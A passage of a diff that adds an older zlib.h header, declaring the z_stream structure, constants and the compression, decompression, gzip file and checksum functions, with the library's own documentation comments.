+  application must provide more input and/or consume the output
+  (providing more output space) before each call.
+
+     The library also supports reading and writing files in gzip (.gz) format
+  with an interface similar to that of stdio.
+
+     The library does not install any signal handler. The decoder checks
+  the consistency of the compressed data, so the library should never
+  crash even in case of corrupted input.
+*/
+
+typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size));
+typedef void   (*free_func)  OF((voidpf opaque, voidpf address));
+
+struct internal_state;
+
+typedef struct z_stream_s {
+    Bytef    *next_in;  /* next input byte */
+    uInt     avail_in;  /* number of bytes available at next_in */
+    uLong    total_in;  /* total nb of input bytes read so far */
+
+    Bytef    *next_out; /* next output byte should be put there */
+    uInt     avail_out; /* remaining free space at next_out */
+    uLong    total_out; /* total nb of bytes output so far */
+
+    char     *msg;      /* last error message, NULL if no error */
+    struct internal_state FAR *state; /* not visible by applications */
+
+    alloc_func zalloc;  /* used to allocate the internal state */
+    free_func  zfree;   /* used to free the internal state */
+    voidpf     opaque;  /* private data object passed to zalloc and zfree */
+
+    int     data_type;  /* best guess about the data type: ascii or binary */
+    uLong   adler;      /* adler32 value of the uncompressed data */
+    uLong   reserved;   /* reserved for future use */
+} z_stream;
+
+typedef z_stream FAR *z_streamp;
+
+/*
+   The application must update next_in and avail_in when avail_in has
+   dropped to zero. It must update next_out and avail_out when avail_out
+   has dropped to zero. The application must initialize zalloc, zfree and
+   opaque before calling the init function. All other fields are set by the
+   compression library and must not be updated by the application.
+
+   The opaque value provided by the application will be passed as the first
+   parameter for calls of zalloc and zfree. This can be useful for custom
+   memory management. The compression library attaches no meaning to the
+   opaque value.
+
+   zalloc must return Z_NULL if there is not enough memory for the object.
+   If zlib is used in a multi-threaded application, zalloc and zfree must be
+   thread safe.
+
+   On 16-bit systems, the functions zalloc and zfree must be able to allocate
+   exactly 65536 bytes, but will not be required to allocate more than this
+   if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS,
+   pointers returned by zalloc for objects of exactly 65536 bytes *must*
+   have their offset normalized to zero. The default allocation function
+   provided by this library ensures this (see zutil.c). To reduce memory
+   requirements and avoid any allocation of 64K objects, at the expense of
+   compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h).
+
+   The fields total_in and total_out can be used for statistics or
+   progress reports. After compression, total_in holds the total size of
+   the uncompressed data and may be saved for use in the decompressor
+   (particularly if the decompressor wants to decompress everything in
+   a single step).
+*/
+
+                        /* constants */
+
+#define Z_NO_FLUSH      0
+#define Z_PARTIAL_FLUSH 1 /* will be removed, use Z_SYNC_FLUSH instead */
+#define Z_SYNC_FLUSH    2
+#define Z_FULL_FLUSH    3
+#define Z_FINISH        4
+/* Allowed flush values; see deflate() below for details */
+
+#define Z_OK            0
+#define Z_STREAM_END    1
+#define Z_NEED_DICT     2
+#define Z_ERRNO        (-1)
+#define Z_STREAM_ERROR (-2)
+#define Z_DATA_ERROR   (-3)
+#define Z_MEM_ERROR    (-4)
+#define Z_BUF_ERROR    (-5)
+#define Z_VERSION_ERROR (-6)
+/* Return codes for the compression/decompression functions. Negative
+ * values are errors, positive values are used for special but normal events.
+ */
+
+#define Z_NO_COMPRESSION         0
+#define Z_BEST_SPEED             1
+#define Z_BEST_COMPRESSION       9
+#define Z_DEFAULT_COMPRESSION  (-1)
+/* compression levels */
+
+#define Z_FILTERED            1
+#define Z_HUFFMAN_ONLY        2
+#define Z_DEFAULT_STRATEGY    0
+/* compression strategy; see deflateInit2() below for details */
+
+#define Z_BINARY   0
+#define Z_ASCII    1
+#define Z_UNKNOWN  2
+/* Possible values of the data_type field */
+
+#define Z_DEFLATED   8
+/* The deflate compression method (the only one supported in this version) */
+
+#define Z_NULL  0  /* for initializing zalloc, zfree, opaque */
+
+#define zlib_version zlibVersion()
+/* for compatibility with versions < 1.0.2 */
+
+                        /* basic functions */
+
+ZEXTERN const char * ZEXPORT zlibVersion OF((void));
+/* The application can compare zlibVersion and ZLIB_VERSION for consistency.
+   If the first character differs, the library code actually used is
+   not compatible with the zlib.h header file used by the application.
+   This check is automatically made by deflateInit and inflateInit.
+ */
+
+/* 
+ZEXTERN int ZEXPORT deflateInit OF((z_streamp strm, int level));
+
+     Initializes the internal stream state for compression. The fields
+   zalloc, zfree and opaque must be initialized before by the caller.
+   If zalloc and zfree are set to Z_NULL, deflateInit updates them to
+   use default allocation functions.
+
+     The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9:
+   1 gives best speed, 9 gives best compression, 0 gives no compression at
+   all (the input data is simply copied a block at a time).
+   Z_DEFAULT_COMPRESSION requests a default compromise between speed and
+   compression (currently equivalent to level 6).
+
+     deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not
+   enough memory, Z_STREAM_ERROR if level is not a valid compression level,
+   Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible
+   with the version assumed by the caller (ZLIB_VERSION).
+   msg is set to null if there is no error message.  deflateInit does not
+   perform any compression: this will be done by deflate().
+*/
+
+
+ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush));
+/*
+    deflate compresses as much data as possible, and stops when the input
+  buffer becomes empty or the output buffer becomes full. It may introduce some
+  output latency (reading input without producing any output) except when
+  forced to flush.
+
+    The detailed semantics are as follows. deflate performs one or both of the
+  following actions:
+
+  - Compress more input starting at next_in and update next_in and avail_in
+    accordingly. If not all input can be processed (because there is not
+    enough room in the output buffer), next_in and avail_in are updated and
+    processing will resume at this point for the next call of deflate().
+
+  - Provide more output starting at next_out and update next_out and avail_out
+    accordingly. This action is forced if the parameter flush is non zero.
+    Forcing flush frequently degrades the compression ratio, so this parameter
+    should be set only when necessary (in interactive applications).
+    Some output may be provided even if flush is not set.
+
+  Before the call of deflate(), the application should ensure that at least
+  one of the actions is possible, by providing more input and/or consuming
+  more output, and updating avail_in or avail_out accordingly; avail_out
+  should never be zero before the call. The application can consume the
+  compressed output when it wants, for example when the output buffer is full
+  (avail_out == 0), or after each call of deflate(). If deflate returns Z_OK
+  and with zero avail_out, it must be called again after making room in the
+  output buffer because there might be more output pending.
+
+    If the parameter flush is set to Z_SYNC_FLUSH, all pending output is
+  flushed to the output buffer and the output is aligned on a byte boundary, so
+  that the decompressor can get all input data available so far. (In particular
+  avail_in is zero after the call if enough output space has been provided
+  before the call.)  Flushing may degrade compression for some compression
+  algorithms and so it should be used only when necessary.
+
+    If flush is set to Z_FULL_FLUSH, all output is flushed as with
+  Z_SYNC_FLUSH, and the compression state is reset so that decompression can
+  restart from this point if previous compressed data has been damaged or if
+  random access is desired. Using Z_FULL_FLUSH too often can seriously degrade
+  the compression.
+
+    If deflate returns with avail_out == 0, this function must be called again
+  with the same value of the flush parameter and more output space (updated
+  avail_out), until the flush is complete (deflate returns with non-zero
+  avail_out).
+
+    If the parameter flush is set to Z_FINISH, pending input is processed,
+  pending output is flushed and deflate returns with Z_STREAM_END if there
+  was enough output space; if deflate returns with Z_OK, this function must be
+  called again with Z_FINISH and more output space (updated avail_out) but no
+  more input data, until it returns with Z_STREAM_END or an error. After
+  deflate has returned Z_STREAM_END, the only possible operations on the
+  stream are deflateReset or deflateEnd.
+  
+    Z_FINISH can be used immediately after deflateInit if all the compression
+  is to be done in a single step. In this case, avail_out must be at least
+  0.1% larger than avail_in plus 12 bytes.  If deflate does not return
+  Z_STREAM_END, then it must be called again as described above.
+
+    deflate() sets strm->adler to the adler32 checksum of all input read
+  so far (that is, total_in bytes).
+
+    deflate() may update data_type if it can make a good guess about
+  the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered
+  binary. This field is only for information purposes and does not affect
+  the compression algorithm in any manner.
+
+    deflate() returns Z_OK if some progress has been made (more input
+  processed or more output produced), Z_STREAM_END if all input has been
+  consumed and all output has been produced (only when flush is set to
+  Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example
+  if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible
+  (for example avail_in or avail_out was zero).
+*/
+
+
+ZEXTERN int ZEXPORT deflateEnd OF((z_streamp strm));
+/*
+     All dynamically allocated data structures for this stream are freed.
+   This function discards any unprocessed input and does not flush any
+   pending output.
+
+     deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the
+   stream state was inconsistent, Z_DATA_ERROR if the stream was freed
+   prematurely (some input or output was discarded). In the error case,
+   msg may be set but then points to a static string (which must not be
+   deallocated).
+*/
+
+
+/* 
+ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm));
+
+     Initializes the internal stream state for decompression. The fields
+   next_in, avail_in, zalloc, zfree and opaque must be initialized before by
+   the caller. If next_in is not Z_NULL and avail_in is large enough (the exact
+   value depends on the compression method), inflateInit determines the
+   compression method from the zlib header and allocates all data structures
+   accordingly; otherwise the allocation will be deferred to the first call of
+   inflate.  If zalloc and zfree are set to Z_NULL, inflateInit updates them to
+   use default allocation functions.
+
+     inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough
+   memory, Z_VERSION_ERROR if the zlib library version is incompatible with the
+   version assumed by the caller.  msg is set to null if there is no error
+   message. inflateInit does not perform any decompression apart from reading
+   the zlib header if present: this will be done by inflate().  (So next_in and
+   avail_in may be modified, but next_out and avail_out are unchanged.)
+*/
+
+
+ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush));
+/*
+    inflate decompresses as much data as possible, and stops when the input
+  buffer becomes empty or the output buffer becomes full. It may some
+  introduce some output latency (reading input without producing any output)
+  except when forced to flush.
+
+  The detailed semantics are as follows. inflate performs one or both of the
+  following actions:
+
+  - Decompress more input starting at next_in and update next_in and avail_in
+    accordingly. If not all input can be processed (because there is not
+    enough room in the output buffer), next_in is updated and processing
+    will resume at this point for the next call of inflate().
+
+  - Provide more output starting at next_out and update next_out and avail_out
+    accordingly.  inflate() provides as much output as possible, until there
+    is no more input data or no more space in the output buffer (see below
+    about the flush parameter).
+
+  Before the call of inflate(), the application should ensure that at least
+  one of the actions is possible, by providing more input and/or consuming
+  more output, and updating the next_* and avail_* values accordingly.
+  The application can consume the uncompressed output when it wants, for
+  example when the output buffer is full (avail_out == 0), or after each
+  call of inflate(). If inflate returns Z_OK and with zero avail_out, it
+  must be called again after making room in the output buffer because there
+  might be more output pending.
+
+    If the parameter flush is set to Z_SYNC_FLUSH, inflate flushes as much
+  output as possible to the output buffer. The flushing behavior of inflate is
+  not specified for values of the flush parameter other than Z_SYNC_FLUSH
+  and Z_FINISH, but the current implementation actually flushes as much output
+  as possible anyway.
+
+    inflate() should normally be called until it returns Z_STREAM_END or an
+  error. However if all decompression is to be performed in a single step
+  (a single call of inflate), the parameter flush should be set to
+  Z_FINISH. In this case all pending input is processed and all pending
+  output is flushed; avail_out must be large enough to hold all the
+  uncompressed data. (The size of the uncompressed data may have been saved
+  by the compressor for this purpose.) The next operation on this stream must
+  be inflateEnd to deallocate the decompression state. The use of Z_FINISH
+  is never required, but can be used to inform inflate that a faster routine
+  may be used for the single inflate() call.
+
+     If a preset dictionary is needed at this point (see inflateSetDictionary
+  below), inflate sets strm-adler to the adler32 checksum of the
+  dictionary chosen by the compressor and returns Z_NEED_DICT; otherwise 
+  it sets strm->adler to the adler32 checksum of all output produced
+  so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or
+  an error code as described below. At the end of the stream, inflate()
+  checks that its computed adler32 checksum is equal to that saved by the
+  compressor and returns Z_STREAM_END only if the checksum is correct.
+
+    inflate() returns Z_OK if some progress has been made (more input processed
+  or more output produced), Z_STREAM_END if the end of the compressed data has
+  been reached and all uncompressed output has been produced, Z_NEED_DICT if a
+  preset dictionary is needed at this point, Z_DATA_ERROR if the input data was
+  corrupted (input stream not conforming to the zlib format or incorrect
+  adler32 checksum), Z_STREAM_ERROR if the stream structure was inconsistent
+  (for example if next_in or next_out was NULL), Z_MEM_ERROR if there was not
+  enough memory, Z_BUF_ERROR if no progress is possible or if there was not
+  enough room in the output buffer when Z_FINISH is used. In the Z_DATA_ERROR
+  case, the application may then call inflateSync to look for a good
+  compression block.
+*/
+
+
+ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm));
+/*
+     All dynamically allocated data structures for this stream are freed.
+   This function discards any unprocessed input and does not flush any
+   pending output.
+
+     inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state
+   was inconsistent. In the error case, msg may be set but then points to a
+   static string (which must not be deallocated).
+*/
+
+                        /* Advanced functions */
+
+/*
+    The following functions are needed only in some special applications.
+*/
+
+/*   
+ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm,
+                                     int  level,
+                                     int  method,
+                                     int  windowBits,
+                                     int  memLevel,
+                                     int  strategy));
+
+     This is another version of deflateInit with more compression options. The
+   fields next_in, zalloc, zfree and opaque must be initialized before by
+   the caller.
+
+     The method parameter is the compression method. It must be Z_DEFLATED in
+   this version of the library.
+
+     The windowBits parameter is the base two logarithm of the window size
+   (the size of the history buffer).  It should be in the range 8..15 for this
+   version of the library. Larger values of this parameter result in better
+   compression at the expense of memory usage. The default value is 15 if
+   deflateInit is used instead.
+
+     The memLevel parameter specifies how much memory should be allocated
+   for the internal compression state. memLevel=1 uses minimum memory but
+   is slow and reduces compression ratio; memLevel=9 uses maximum memory
+   for optimal speed. The default value is 8. See zconf.h for total memory
+   usage as a function of windowBits and memLevel.
+
+     The strategy parameter is used to tune the compression algorithm. Use the
+   value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a
+   filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no
+   string match).  Filtered data consists mostly of small values with a
+   somewhat random distribution. In this case, the compression algorithm is
+   tuned to compress them better. The effect of Z_FILTERED is to force more
+   Huffman coding and less string matching; it is somewhat intermediate
+   between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects
+   the compression ratio but not the correctness of the compressed output even
+   if it is not set appropriately.
+
+      deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
+   memory, Z_STREAM_ERROR if a parameter is invalid (such as an invalid
+   method). msg is set to null if there is no error message.  deflateInit2 does
+   not perform any compression: this will be done by deflate().
+*/
+                            
+ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm,
+                                             const Bytef *dictionary,
+                                             uInt  dictLength));
+/*
+     Initializes the compression dictionary from the given byte sequence
+   without producing any compressed output. This function must be called
+   immediately after deflateInit, deflateInit2 or deflateReset, before any
+   call of deflate. The compressor and decompressor must use exactly the same
+   dictionary (see inflateSetDictionary).
+
+     The dictionary should consist of strings (byte sequences) that are likely
+   to be encountered later in the data to be compressed, with the most commonly
+   used strings preferably put towards the end of the dictionary. Using a
+   dictionary is most useful when the data to be compressed is short and can be
+   predicted with good accuracy; the data can then be compressed better than
+   with the default empty dictionary.
+
+     Depending on the size of the compression data structures selected by
+   deflateInit or deflateInit2, a part of the dictionary may in effect be
+   discarded, for example if the dictionary is larger than the window size in
+   deflate or deflate2. Thus the strings most likely to be useful should be
+   put at the end of the dictionary, not at the front.
+
+     Upon return of this function, strm->adler is set to the Adler32 value
+   of the dictionary; the decompressor may later use this value to determine
+   which dictionary has been used by the compressor. (The Adler32 value
+   applies to the whole dictionary even if only a subset of the dictionary is
+   actually used by the compressor.)
+
+     deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a
+   parameter is invalid (such as NULL dictionary) or the stream state is
+   inconsistent (for example if deflate has already been called for this stream
+   or if the compression method is bsort). deflateSetDictionary does not
+   perform any compression: this will be done by deflate().
+*/
+
+ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest,
+                                    z_streamp source));
+/*
+     Sets the destination stream as a complete copy of the source stream.
+
+     This function can be useful when several compression strategies will be
+   tried, for example when there are several ways of pre-processing the input
+   data with a filter. The streams that will be discarded should then be freed
+   by calling deflateEnd.  Note that deflateCopy duplicates the internal
+   compression state which can be quite large, so this strategy is slow and
+   can consume lots of memory.
+
+     deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
+   enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
+   (such as zalloc being NULL). msg is left unchanged in both source and
+   destination.
+*/
+
+ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm));
+/*
+     This function is equivalent to deflateEnd followed by deflateInit,
+   but does not free and reallocate all the internal compression state.
+   The stream will keep the same compression level and any other attributes
+   that may have been set by deflateInit2.
+
+      deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
+   stream state was inconsistent (such as zalloc or state being NULL).
+*/
+
+ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm,
+				      int level,
+				      int strategy));
+/*
+     Dynamically update the compression level and compression strategy.  The
+   interpretation of level and strategy is as in deflateInit2.  This can be
+   used to switch between compression and straight copy of the input data, or
+   to switch to a different kind of input data requiring a different
+   strategy. If the compression level is changed, the input available so far
+   is compressed with the old level (and may be flushed); the new level will
+   take effect only at the next call of deflate().
+
+     Before the call of deflateParams, the stream state must be set as for
+   a call of deflate(), since the currently available input may have to
+   be compressed and flushed. In particular, strm->avail_out must be non-zero.
+
+     deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source
+   stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR
+   if strm->avail_out was zero.
+*/
+
+/*   
+ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm,
+                                     int  windowBits));
+
+     This is another version of inflateInit with an extra parameter. The
+   fields next_in, avail_in, zalloc, zfree and opaque must be initialized
+   before by the caller.
+
+     The windowBits parameter is the base two logarithm of the maximum window
+   size (the size of the history buffer).  It should be in the range 8..15 for
+   this version of the library. The default value is 15 if inflateInit is used
+   instead. If a compressed stream with a larger window size is given as
+   input, inflate() will return with the error code Z_DATA_ERROR instead of
+   trying to allocate a larger window.
+
+      inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
+   memory, Z_STREAM_ERROR if a parameter is invalid (such as a negative
+   memLevel). msg is set to null if there is no error message.  inflateInit2
+   does not perform any decompression apart from reading the zlib header if
+   present: this will be done by inflate(). (So next_in and avail_in may be
+   modified, but next_out and avail_out are unchanged.)
+*/
+
+ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm,
+                                             const Bytef *dictionary,
+                                             uInt  dictLength));
+/*
+     Initializes the decompression dictionary from the given uncompressed byte
+   sequence. This function must be called immediately after a call of inflate
+   if this call returned Z_NEED_DICT. The dictionary chosen by the compressor
+   can be determined from the Adler32 value returned by this call of
+   inflate. The compressor and decompressor must use exactly the same
+   dictionary (see deflateSetDictionary).
+
+     inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a
+   parameter is invalid (such as NULL dictionary) or the stream state is
+   inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the
+   expected one (incorrect Adler32 value). inflateSetDictionary does not
+   perform any decompression: this will be done by subsequent calls of
+   inflate().
+*/
+
+ZEXTERN int ZEXPORT inflateSync OF((z_streamp strm));
+/* 
+    Skips invalid compressed data until a full flush point (see above the
+  description of deflate with Z_FULL_FLUSH) can be found, or until all
+  available input is skipped. No output is provided.
+
+    inflateSync returns Z_OK if a full flush point has been found, Z_BUF_ERROR
+  if no more input was provided, Z_DATA_ERROR if no flush point has been found,
+  or Z_STREAM_ERROR if the stream structure was inconsistent. In the success
+  case, the application may save the current current value of total_in which
+  indicates where valid compressed data was found. In the error case, the
+  application may repeatedly call inflateSync, providing more input each time,
+  until success or end of the input data.
+*/
+
+ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm));
+/*
+     This function is equivalent to inflateEnd followed by inflateInit,
+   but does not free and reallocate all the internal decompression state.
+   The stream will keep attributes that may have been set by inflateInit2.
+
+      inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
+   stream state was inconsistent (such as zalloc or state being NULL).
+*/
+
+
+                        /* utility functions */
+
+/*
+     The following utility functions are implemented on top of the
+   basic stream-oriented functions. To simplify the interface, some
+   default options are assumed (compression level and memory usage,
+   standard memory allocation functions). The source code of these
+   utility functions can easily be modified if you need special options.
+*/
+
+ZEXTERN int ZEXPORT compress OF((Bytef *dest,   uLongf *destLen,
+                                 const Bytef *source, uLong sourceLen));
+/*
+     Compresses the source buffer into the destination buffer.  sourceLen is
+   the byte length of the source buffer. Upon entry, destLen is the total
+   size of the destination buffer, which must be at least 0.1% larger than
+   sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the
+   compressed buffer.
+     This function can be used to compress a whole file at once if the
+   input file is mmap'ed.
+     compress returns Z_OK if success, Z_MEM_ERROR if there was not
+   enough memory, Z_BUF_ERROR if there was not enough room in the output
+   buffer.
+*/
+
+ZEXTERN int ZEXPORT compress2 OF((Bytef *dest,   uLongf *destLen,
+                                  const Bytef *source, uLong sourceLen,
+                                  int level));
+/*
+     Compresses the source buffer into the destination buffer. The level
+   parameter has the same meaning as in deflateInit.  sourceLen is the byte
+   length of the source buffer. Upon entry, destLen is the total size of the
+   destination buffer, which must be at least 0.1% larger than sourceLen plus
+   12 bytes. Upon exit, destLen is the actual size of the compressed buffer.
+
+     compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
+   memory, Z_BUF_ERROR if there was not enough room in the output buffer,
+   Z_STREAM_ERROR if the level parameter is invalid.
+*/
+
+ZEXTERN int ZEXPORT uncompress OF((Bytef *dest,   uLongf *destLen,
+                                   const Bytef *source, uLong sourceLen));
+/*
+     Decompresses the source buffer into the destination buffer.  sourceLen is
+   the byte length of the source buffer. Upon entry, destLen is the total
+   size of the destination buffer, which must be large enough to hold the
+   entire uncompressed data. (The size of the uncompressed data must have
+   been saved previously by the compressor and transmitted to the decompressor
+   by some mechanism outside the scope of this compression library.)
+   Upon exit, destLen is the actual size of the compressed buffer.
+     This function can be used to decompress a whole file at once if the
+   input file is mmap'ed.
+
+     uncompress returns Z_OK if success, Z_MEM_ERROR if there was not
+   enough memory, Z_BUF_ERROR if there was not enough room in the output
+   buffer, or Z_DATA_ERROR if the input data was corrupted.
+*/
+
+
+typedef voidp gzFile;
+
+ZEXTERN gzFile ZEXPORT gzopen  OF((const char *path, const char *mode));
+/*
+     Opens a gzip (.gz) file for reading or writing. The mode parameter
+   is as in fopen ("rb" or "wb") but can also include a compression level
+   ("wb9") or a strategy: 'f' for filtered data as in "wb6f", 'h' for
+   Huffman only compression as in "wb1h". (See the description
+   of deflateInit2 for more information about the strategy parameter.)
+
+     gzopen can be used to read a file which is not in gzip format; in this
+   case gzread will directly read from the file without decompression.
+
+     gzopen returns NULL if the file could not be opened or if there was
+   insufficient memory to allocate the (de)compression state; errno
+   can be checked to distinguish the two cases (if errno is zero, the
+   zlib error is Z_MEM_ERROR).  */
+
+ZEXTERN gzFile ZEXPORT gzdopen  OF((int fd, const char *mode));
+/*
+     gzdopen() associates a gzFile with the file descriptor fd.  File
+   descriptors are obtained from calls like open, dup, creat, pipe or
+   fileno (in the file has been previously opened with fopen).
+   The mode parameter is as in gzopen.
+     The next call of gzclose on the returned gzFile will also close the
+   file descriptor fd, just like fclose(fdopen(fd), mode) closes the file
+   descriptor fd. If you want to keep fd open, use gzdopen(dup(fd), mode).
+     gzdopen returns NULL if there was insufficient memory to allocate
+   the (de)compression state.
+*/
+
+ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy));
+/*
+     Dynamically update the compression level or strategy. See the description
+   of deflateInit2 for the meaning of these parameters.
+     gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not
+   opened for writing.
+*/
+
+ZEXTERN int ZEXPORT    gzread  OF((gzFile file, voidp buf, unsigned len));
+/*
+     Reads the given number of uncompressed bytes from the compressed file.
+   If the input file was not in gzip format, gzread copies the given number
+   of bytes into the buffer.
+     gzread returns the number of uncompressed bytes actually read (0 for
+   end of file, -1 for error). */
+
+ZEXTERN int ZEXPORT    gzwrite OF((gzFile file, 
+				   const voidp buf, unsigned len));
+/*
+     Writes the given number of uncompressed bytes into the compressed file.
+   gzwrite returns the number of uncompressed bytes actually written
+   (0 in case of error).
+*/
+
+ZEXTERN int ZEXPORTVA   gzprintf OF((gzFile file, const char *format, ...));
+/*
+     Converts, formats, and writes the args to the compressed file under
+   control of the format string, as in fprintf. gzprintf returns the number of
+   uncompressed bytes actually written (0 in case of error).
+*/
+
+ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s));
+/*
+      Writes the given null-terminated string to the compressed file, excluding
+   the terminating null character.
+      gzputs returns the number of characters written, or -1 in case of error.
+*/
+
+ZEXTERN char * ZEXPORT gzgets OF((gzFile file, char *buf, int len));
+/*
+      Reads bytes from the compressed file until len-1 characters are read, or
+   a newline character is read and transferred to buf, or an end-of-file
+   condition is encountered.  The string is then terminated with a null
+   character.
+      gzgets returns buf, or Z_NULL in case of error.
+*/
+
+ZEXTERN int ZEXPORT    gzputc OF((gzFile file, int c));
+/*
+      Writes c, converted to an unsigned char, into the compressed file.
+   gzputc returns the value that was written, or -1 in case of error.
+*/
+
+ZEXTERN int ZEXPORT    gzgetc OF((gzFile file));
+/*
+      Reads one byte from the compressed file. gzgetc returns this byte
+   or -1 in case of end of file or error.
+*/
+
+ZEXTERN int ZEXPORT    gzflush OF((gzFile file, int flush));
+/*
+     Flushes all pending output into the compressed file. The parameter
+   flush is as in the deflate() function. The return value is the zlib
+   error number (see function gzerror below). gzflush returns Z_OK if
+   the flush parameter is Z_FINISH and all output could be flushed.
+     gzflush should be called only when strictly necessary because it can
+   degrade compression.
+*/
+
+ZEXTERN z_off_t ZEXPORT    gzseek OF((gzFile file,
+				      z_off_t offset, int whence));
+/* 
+      Sets the starting position for the next gzread or gzwrite on the
+   given compressed file. The offset represents a number of bytes in the
+   uncompressed data stream. The whence parameter is defined as in lseek(2);
+   the value SEEK_END is not supported.
+     If the file is opened for reading, this function is emulated but can be
+   extremely slow. If the file is opened for writing, only forward seeks are
+   supported; gzseek then compresses a sequence of zeroes up to the new
+   starting position.
+
+      gzseek returns the resulting offset location as measured in bytes from
+   the beginning of the uncompressed stream, or -1 in case of error, in
+   particular if the file is opened for writing and the new starting position
+   would be before the current position.
+*/
+
+ZEXTERN int ZEXPORT    gzrewind OF((gzFile file));
+/*
+     Rewinds the given file. This function is supported only for reading.
+
+   gzrewind(file) is equivalent to (int)gzseek(file, 0L, SEEK_SET)
+*/
+
+ZEXTERN z_off_t ZEXPORT    gztell OF((gzFile file));
+/*
+     Returns the starting position for the next gzread or gzwrite on the
+   given compressed file. This position represents a number of bytes in the
+   uncompressed data stream.
+
+   gztell(file) is equivalent to gzseek(file, 0L, SEEK_CUR)
+*/
+
+ZEXTERN int ZEXPORT gzeof OF((gzFile file));
+/*
+     Returns 1 when EOF has previously been detected reading the given
+   input stream, otherwise zero.
+*/
+
+ZEXTERN int ZEXPORT    gzclose OF((gzFile file));
+/*
+     Flushes all pending output if necessary, closes the compressed file
+   and deallocates all the (de)compression state. The return value is the zlib
+   error number (see function gzerror below).
+*/
+
+ZEXTERN const char * ZEXPORT gzerror OF((gzFile file, int *errnum));
+/*
+     Returns the error message for the last error which occurred on the
+   given compressed file. errnum is set to zlib error number. If an
+   error occurred in the file system and not in the compression library,
+   errnum is set to Z_ERRNO and the application may consult errno
+   to get the exact error code.
+*/
+
+                        /* checksum functions */
+
+/*
+     These functions are not related to compression but are exported
+   anyway because they might be useful in applications using the
+   compression library.
+*/
+
+ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len));
+
+/*
+     Update a running Adler-32 checksum with the bytes buf[0..len-1] and
+   return the updated checksum. If buf is NULL, this function returns
+   the required initial value for the checksum.
+   An Adler-32 checksum is almost as reliable as a CRC32 but can be computed
+   much faster. Usage example:
+
+     uLong adler = adler32(0L, Z_NULL, 0);
+
+     while (read_buffer(buffer, length) != EOF) {
+       adler = adler32(adler, buffer, length);
+     }
+     if (adler != original_adler) error();
+*/
+
+ZEXTERN uLong ZEXPORT crc32   OF((uLong crc, const Bytef *buf, uInt len));
+/*
+     Update a running crc with the bytes buf[0..len-1] and return the updated
+   crc. If buf is NULL, this function returns the required initial value
+   for the crc. Pre- and post-conditioning (one's complement) is performed
+   within this function so it shouldn't be done by the application.
+   Usage example:
+
+     uLong crc = crc32(0L, Z_NULL, 0);
+
+     while (read_buffer(buffer, length) != EOF) {
+       crc = crc32(crc, buffer, length);
+     }
+     if (crc != original_crc) error();
+*/
+
+
+                        /* various hacks, don't look :) */
+
+/* deflateInit and inflateInit are macros to allow checking the zlib version
+ * and the compiler's view of z_stream:
+ */
+ZEXTERN int ZEXPORT deflateInit_ OF((z_streamp strm, int level,
+                                     const char *version, int stream_size));
+ZEXTERN int ZEXPORT inflateInit_ OF((z_streamp strm,
+                                     const char *version, int stream_size));
+ZEXTERN int ZEXPORT deflateInit2_ OF((z_streamp strm, int  level, int  method,
+                                      int windowBits, int memLevel,
+                                      int strategy, const char *version,
+                                      int stream_size));
+ZEXTERN int ZEXPORT inflateInit2_ OF((z_streamp strm, int  windowBits,
+                                      const char *version, int stream_size));
+#define deflateInit(strm, level) \
+        deflateInit_((strm), (level),       ZLIB_VERSION, sizeof(z_stream))
+#define inflateInit(strm) \
+        inflateInit_((strm),                ZLIB_VERSION, sizeof(z_stream))
+#define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \
+        deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\
+                      (strategy),           ZLIB_VERSION, sizeof(z_stream))
+#define inflateInit2(strm, windowBits) \
+        inflateInit2_((strm), (windowBits), ZLIB_VERSION, sizeof(z_stream))
+
+
+#if !defined(_Z_UTIL_H) && !defined(NO_DUMMY_DECL)
+    struct internal_state {int dummy;}; /* hack for buggy compilers */
+#endif
+
+ZEXTERN const char   * ZEXPORT zError           OF((int err));
+ZEXTERN int            ZEXPORT inflateSyncPoint OF((z_streamp z));
+ZEXTERN const uLongf * ZEXPORT get_crc_table    OF((void));
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* _ZLIB_H */